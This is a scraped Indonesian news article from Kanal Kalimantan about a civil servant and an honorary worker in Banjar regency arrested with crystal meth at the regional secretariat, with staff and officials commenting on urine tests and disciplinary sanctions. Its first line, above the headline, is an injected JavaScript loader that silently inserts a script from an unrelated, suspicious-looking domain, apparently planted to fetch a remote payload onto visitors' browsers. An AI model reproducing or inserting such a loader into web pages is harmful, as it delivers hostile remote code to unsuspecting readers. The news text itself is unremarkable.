(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

ASN Pemkab Banjar Siap Tes Urine, Sekda Banjar Malah ‘Loyo’


MARTAPURA, Bupati Banjar KH Khalilurrahman dibikin murka terkait ulah 2 pegawai jajaran Sekretariat Daerah (Setda) yang kedapatan nyabu di lingkungan kantor Setda Banjar.

Selain mencoreng nama instansi Pemkab Banjar, ulah lacur pelanggaran hukum seorang ASN FR dan RH, seorang tenaga honorer Pemkab Banjar yang ditangkap Satuan Res Narkoba Polres Banjar, Jum’at (23/2) sore, karena memiliki narkoba jenis sabu-sabu di lingkungan kantor.

Sepertinya Pemkab Banjar akan menunggu proses hukum terhadap ASN dan tenaga honorer yang tersangkut masalah narkoba.

Salah satunya Haris Pahlawan, staf kantor Setda Banjar menanggapi bila memang akan digelar tes urine bagi seluruh pegawai baik itu ASN maupun honorer di Pemkab Banjar sangat setuju dan bersedia di tes urine kapan pun.

“Saya siap apa bila harus diadakan tes urine seluruh pegawai di Pemkab Banjar, karena menurut saya hanya orang yang bermasalah saja yang tidak siap akan hal tersebut,” ucap Haris.

Pegawai lainnya di salah satu bagian Setda Banjar, meski tanpa mau disebut nama kepada Kanal Kalimantan, menantang Pemkab Banjar melakukan tes urine menyeluruh kepada seluruh pegawai baik itu ASN maupun honorer.

“Sangat setuju, kapan saja saya siap di tes urine,” kata lelaki ini. Hanya, ASN Pemkab Banjar ini meminta pelaksanaan tes urine bila benar akan dilakukan harus dadakan tidak dijadwalkan. “Karena bila dijadwalkan, misal 3 bulan akan datang informasinya sudah ada, mereka yang kemungkinan positif narkoba bisa mengakalinya,” kata ASN ini.

Saat Kanal Kalimantan mencegat Bupati Banjar KH Khalilurrahman usai coffe morning, Senin (26/2), ia tidak banyak berkomentar atas kelakuan tak patut kedua pegawai tersebut.

Dengan nada geram ia mengatakan berulang hingga tiga kali, “Saya tidak ada komentar apa-apa karena itu sudah menyangkut masalah hukum, untuk sanksi kita menunggu hasilnya dulu, bila positif memang menggunakan, ya sesuaikan saja menurut aturan,” tegas Bupati Banjar.

Di tempat terpisah saat Kanal Kalimantan mencegat pembina tertinggi kepegawaian di lingkungan Pemkab Banjar yakni Setda Banjar Ir H Nasrun Syah MP, ia juga tidak banyak berkomentar atas kasus FR dan RH yang tersandung kasus narkoba tersebut. Ia hanya memastikan akan menunggu pernyataan resmi dari Polres Banjar.

“Jika terbukti maka akan ada sanksinya, apabila ASN itu positif menggunakan narkoba maka akan dikenakan pelanggaran dalam aturan PP nomor 53,” tegas Nasrun Syah.

 “Apabila bersangkutan terbukti menggunakan narkoba, maka akan dihukum sesuai dengan kesalahan yang telah dilakukan,” tandas Sekda Banjar Ir H Nasrun Syah.

Namun, saat ditanya apakah bakal ada tes urine bagi seluruh pegawai baik ASN dan honorer di Pemkab Banjar, Sekda Banjar Ir H Nasrun Syah tidak merespon apa-apa.

Perlu diketahui, dalam Peraturan Pemerintah nomor 53 tahun 2010 hukuman pelanggaran disiplin terdiri dari hukuman ringan, hukuman sedang, hukuman berat yaitu sampai kepada pemecatan.

Mengacu pemberian sanksi berdasarkan Peraturan Pemerintah nomor 53 tahun 2010 tentang disiplin pegawai ada tiga sanksi ringan, sedang, berat. Sanksi ringan berupa teguran, kalau sanksi sedang berupa penundaan kenaikan pangkat, sedangkan sanksi berat itu penurunan pangkat, pembebasan dari jabatan kemudian pemberhentian dari jabatan secara tidak hormat.

Kanal Kalimantan menjumpai beberapa ASN di lingkungan Pemkab Banjar, terkait tentang tes urine bagi seluruh ASN Pemkab Banjar malah mendapat respon positif.

Sebelumnya diberitakan, dua oknum pegawai Pemkab Banjar bikin malu dan mencoreng instansi mereka sendiri. Kedapatan miliki narkoba di lingkungan perkantoran yang mestinya steril dari semua jenis narkoba. Mereka adalah FR (39) seorang Aparatur Sipil Negara (ASN) dan RH (32) seorang tenaga honorer kedapatan simpan sabu-sabu di kantor Setda Kabupaten Banjar, pada Jumat (23/2) sekitar pukul 16.30 Wita, setelah jam kerja sudah berakhir.

Sat Resnarkoba Polres Banjar menggerebek FR dan RH di ruang kerja pribadi. Saat penangkapan itu barang bukti narkoba jenis sabu-sabu telah siap pakai berikut alat hisap.

Diduga FR yang seorang ASN Pemkab Banjar itu sudah lama menggunakan sabu-sabu. FR bersama RH selama ini diduga sering mengkonsumsi sabu-sabu bersama. (tim)

Reporter : Tim
Editor : Tim kanal kalimantan

Desy Arfianty

Recent Posts

Curi Mobil Modus Duplikat Kunci, NY Diringkus Satreskrim Polresta Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reskrim Polresta Banjarmasin meringkus seseorang lelaki berinisial NY (37) karena melakukan… Read More

12 jam ago

Sah! Ini 30 Calon Terpilih Anggota DPRD HSU 2024-2029

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More

15 jam ago

Sebelum Dilantik, 30 Calon Terpilih DPRD Banjarbaru Harus Lapor Harta Kekayaan

KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More

18 jam ago

Tiga Putra HSU Terbaik Pertama Syarhil Qur’an MTQ XXXV Kalsel

KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More

19 jam ago

Resmi Ditetapkan, Ini 45 Calon Terpilih Anggota DPRD Banjarmasin 2024-2029

PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More

19 jam ago

Juara Umum di MTQ Provinsi, Ketua LPTQ Banjar Pastikan Bonus bagi Pemenang

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More

20 jam ago

This website uses cookies.